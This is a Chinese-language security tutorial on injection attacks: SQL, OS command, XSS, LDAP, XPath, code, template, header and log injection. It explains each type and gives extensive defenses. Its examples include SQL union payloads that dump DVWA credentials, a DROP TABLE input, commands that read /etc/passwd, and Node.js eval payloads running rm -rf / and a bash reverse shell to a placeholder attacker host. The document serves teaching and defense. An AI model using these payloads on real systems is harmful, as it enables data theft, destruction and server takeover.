目录
1、概念
本质:把用户输入的数据当做代码执行。XSS本质上也是一种针对HTML的注入攻击。
两个关键:
1> 用户能够控制输入
2> 原本程序要执行的代码,拼接了用户输入的数据
2、核心原理
-
信任边界混淆: 应用程序通常有明确的“信任边界”。来自用户(不可信源)的数据在进入应用程序内部(可信域)之前,应该被严格检查和处理。注入攻击发生时,这个边界被模糊或突破了。
-
数据与代码的混合: 应用程序在处理用户输入时,有时会将其与内部代码(如SQL语句、系统命令、脚本代码)拼接在一起。如果用户输入包含精心构造的、具有特殊含义的字符或片段,它们就可能“逃逸”出数据部分的限制,篡改或补充了原有的代码逻辑。
-
解释器被欺骗: 后端系统(如数据库引擎、操作系统Shell、脚本引擎、LDAP服务器、XML解析器)会接收拼接后的字符串并尝试解释执行它。攻击者的恶意输入被这些解释器误认为是合法的指令的一部分,从而执行了攻击者意图的操作。
3、主要类型
3.1 SQL注入
-
原理: 攻击者在Web表单、URL参数等输入点提交恶意的SQL代码片段。如果应用程序未经验证就将这些输入拼接到后台数据库查询语句中,恶意SQL就会被数据库执行。
-
示例:
-
原始查询:
SELECT * FROM users WHERE username = '$username' AND password = '$password'
-
恶意输入:
username = admin' --
(注释掉后面部分)password = anything
-
最终查询:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'
(实际执行时只检查username=admin,忽略密码验证,直接以admin登录) -
更危险输入:
username = ' OR '1'='1'; DROP TABLE users; --
(可能导致删除用户表)
-
// 注入信息
// 查询数据库信息
1' union select database(),user()#
// 查询数据库版本与操作系统信息
1' union select version(),@@version_compile_os#
// 查询数据库dvwa的表名
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
// 查询重量级用户名与密码
1' union select user,password from users#
-
危害: 绕过认证、窃取/篡改/删除敏感数据(用户凭证、个人信息、财务数据)、执行数据库管理员操作、甚至控制数据库服务器。
3.2 OS命令注入
-
原理: 攻击者提交恶意输入,目的是让应用程序在操作系统Shell中执行非预期的系统命令。通常发生在应用程序调用系统命令(如
exec()
,system()
,popen()
)并将用户输入作为参数的一部分时。 -
示例:
-
应用程序功能:输入IP地址进行Ping测试。
ping $user_input
-
恶意输入:
8.8.8.8; cat /etc/passwd
(Linux/Unix) 或8.8.8.8 & type c:\windows\win.ini
(Windows) -
最终执行:先执行
ping 8.8.8.8
,然后执行cat /etc/passwd
(显示系统用户密码文件)或type c:\windows\win.ini
。
-
-
危害: 完全控制服务器操作系统、执行任意命令、读写文件、安装后门、发起对其他系统的攻击。
3.3 跨站脚本-XSS
-
原理: 虽然常单独分类,但本质也是一种注入(将恶意脚本注入到网页中)。攻击者将恶意JavaScript代码提交到网站(如评论区、留言板、个人信息),当其他用户浏览包含此恶意代码的页面时,代码在其浏览器中执行。
-
类型:
-
反射型XSS: 恶意脚本包含在请求(如URL)中,服务器“反射”回响应页面并执行。通常需要诱骗用户点击特制链接。
-
存储型XSS: 恶意脚本被永久存储在服务器(如数据库),每当用户访问包含该内容的页面时自动执行(危害更大)。
-
DOM型XSS: 漏洞存在于客户端JavaScript代码中,恶意输入修改了页面的DOM结构导致脚本执行,不经过服务器处理。
-
-
危害: 窃取用户会话Cookie、劫持用户账户、记录键盘输入、重定向用户到恶意网站、传播蠕虫、篡改网页内容。
3.4 LDAP注入
-
原理: 类似于SQL注入,但目标是LDAP目录服务查询(LDAP,Lightweight Directory Access Protocol,轻量级目录访问协议)。攻击者通过操纵用于构造LDAP查询语句的输入参数(如登录名、搜索过滤器),修改查询逻辑。
// 正常查询
(cn=用户输入)
// 注入后变成(查询所有条目)
(cn=*)(|(cn=*))
-
危害: 绕过认证、枚举目录信息、提取敏感数据、修改LDAP目录中的条目。
3.5 XPath注入
-
原理: 攻击者操纵用于构造XPath查询(用于查询XML文档)的输入参数。XPath (XML Path Language) 是一种用于在 XML 文档中导航和查询节点的语言。
//正常查询
//User[Username='用户名称' and Password='密码']
//注入后变成(查询所有条目)
//User[Username='' or 1=1 or ''='' and Password='anything']
-
危害: 绕过认证、非法访问或提取XML文档中的数据。
3.6 代码注入
-
原理: 攻击者将恶意代码片段(如PHP, Python, Perl)注入到服务器端脚本中,使其被解释执行。
-
示例: 应用程序使用
eval()
函数(将传入它的字符串参数当作代码来解析和执行)处理用户输入的一部分(极其危险的设计)。
//示例1(读取服务器敏感文件): 加载 Node.js 的文件系统模块,同步读取 Unix/Linux 系统上的 /etc/passwd 文件(包含用户账户信息)并以 UTF-8 编码返回内容
require('fs').readFileSync('/etc/passwd', 'utf8')
//示例2(执行系统命令):加载 Node.js 的子进程模块,同步执行系统命令 rm -rf /(尝试递归强制删除根目录下的所有文件),将子进程的输出直接继承到父进程(确保命令执行)。
require('child_process').execSync('rm -rf /', { stdio: 'inherit' })
//示例3(建立反向Shell):利用 exec() 执行一个 Bash 命令,建立一个连接到攻击者控制服务器 (attacker-ip:attacker-port) 的交互式 Shell (反向 Shell)
require('child_process').exec('bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1')
-
危害: 与命令注入类似,可能导致完全控制服务器。
3.7 模板注入
-
原理: 攻击者将恶意模板代码注入到服务器端模板引擎(如Jinja2, Twig, FreeMarker, Velocity)中。当模板被渲染时,恶意代码被执行。
-
示例:如FreeMarker模板可以直接访问Java对象的方法和树形,允许在模板中实例化Java类,也可以通过实例化Java类执行系统命令。
-
危害: 服务器端代码执行、文件读取/写入、敏感信息泄露。
3.8 HTTP头注入
-
原理: 攻击者通过用户输入操纵应用程序设置的HTTP响应头。
-
危害: 会话固定、跨站脚本(通过设置恶意的
Location
头或Set-Cookie
头)、缓存污染、安全策略绕过。
3.9 日志注入
-
原理: 攻击者将恶意内容(如换行符和控制字符)注入到应用程序日志中。
-
危害: 扰乱日志分析、注入恶意代码(如果日志在Web界面查看可能触发XSS)、掩盖攻击痕迹。
4、危害分析
-
数据泄露: 窃取敏感信息(用户凭证、个人信息、商业机密、财务数据)。
-
数据篡改: 修改、添加或删除关键数据。
-
数据破坏: 删除数据库表或整个数据库,擦除文件。
-
身份认证绕过: 无需有效凭证即可登录系统或提升权限。
-
服务器完全沦陷: 获得操作系统级别的控制权(命令注入、代码注入)。
-
拒绝服务: 通过执行资源密集型操作使系统不可用。
-
客户端攻击: 利用受害者的浏览器攻击其他用户或内部系统(XSS)。
-
声誉损害与合规风险: 导致客户信任丧失,违反数据保护法规(如GDPR, CCPA)。
5、防御措施
5.1 输入验证
-
白名单验证: 严格定义允许的字符集、格式、长度和范围(类型、最小值、最大值)。拒绝任何不符合白名单规则的输入。(首选方法)
-
黑名单过滤: 识别并移除/转义已知危险的字符(如
'
,"
,;
,--
,<
,>
,&
,|
)。(效果不如白名单,容易绕过,应作为辅助手段) -
在可信边界进行: 在数据进入应用程序处理流程的最早环节进行验证(如API入口点、控制器方法)。
5.2 参数化查询
-
数据库: 使用预编译语句或参数化查询(如JDBC的
PreparedStatement
, Python DB-API的?
占位符,.NET的SqlParameter
)。将SQL代码结构与数据参数明确分离,数据库引擎不会将参数值解释为代码。 -
其他查询语言: 对于LDAP、XPath、NoSQL查询等,同样使用其API提供的安全参数化或编码机制。
5.3 输出编码/转义
-
根据数据将要嵌入的目标上下文(HTML, JavaScript, CSS, URL, SQL, OS Command),使用专门的编码或转义函数。
-
确保在将任何不可信数据输出到不同环境(网页、命令行、日志文件、数据库)之前进行正确的转义。
5.4 使用安全API
-
避免使用直接拼接字符串构造命令或查询的API(如
exec()
,system()
, 拼接SQL字符串的Statement
)。 -
优先选择提供自动参数化或编码功能的安全API(如ORM框架、模板引擎的安全模式、安全的LDAP库)。
5.5 最小权限原则
-
应用程序连接数据库、操作系统或服务的账号应仅拥有完成其任务所必需的最小权限。避免使用
root
或sa
等超级用户账号。 -
限制数据库用户权限(如只允许
SELECT
/INSERT
/UPDATE
,禁止DROP
,GRANT
)。
5.6 启用安全配置
-
数据库: 禁用不必要的存储过程和功能。
-
Web服务器/框架: 开启内置的安全特性(如PHP的
magic_quotes_gpc
已废弃,应使用其他方法;框架的XSS防护)。
5.7 错误处理
-
避免向用户显示详细的错误信息(如完整的SQL错误、堆栈跟踪)。使用自定义的通用错误页面。详细的错误信息是攻击者极好的线索。
-
将详细的错误记录到安全的服务器端日志中供管理员分析。
5.8 Web应用防火墙
-
部署WAF可以帮助检测和阻止常见的注入攻击模式。但WAF不能替代安全编码实践,应作为纵深防御的一层。
5.9 定期安全测试
-
进行代码审计(SAST)、动态应用安全测试(DAST)、渗透测试,主动发现注入漏洞。
-
使用自动化漏洞扫描工具(但需人工验证结果)。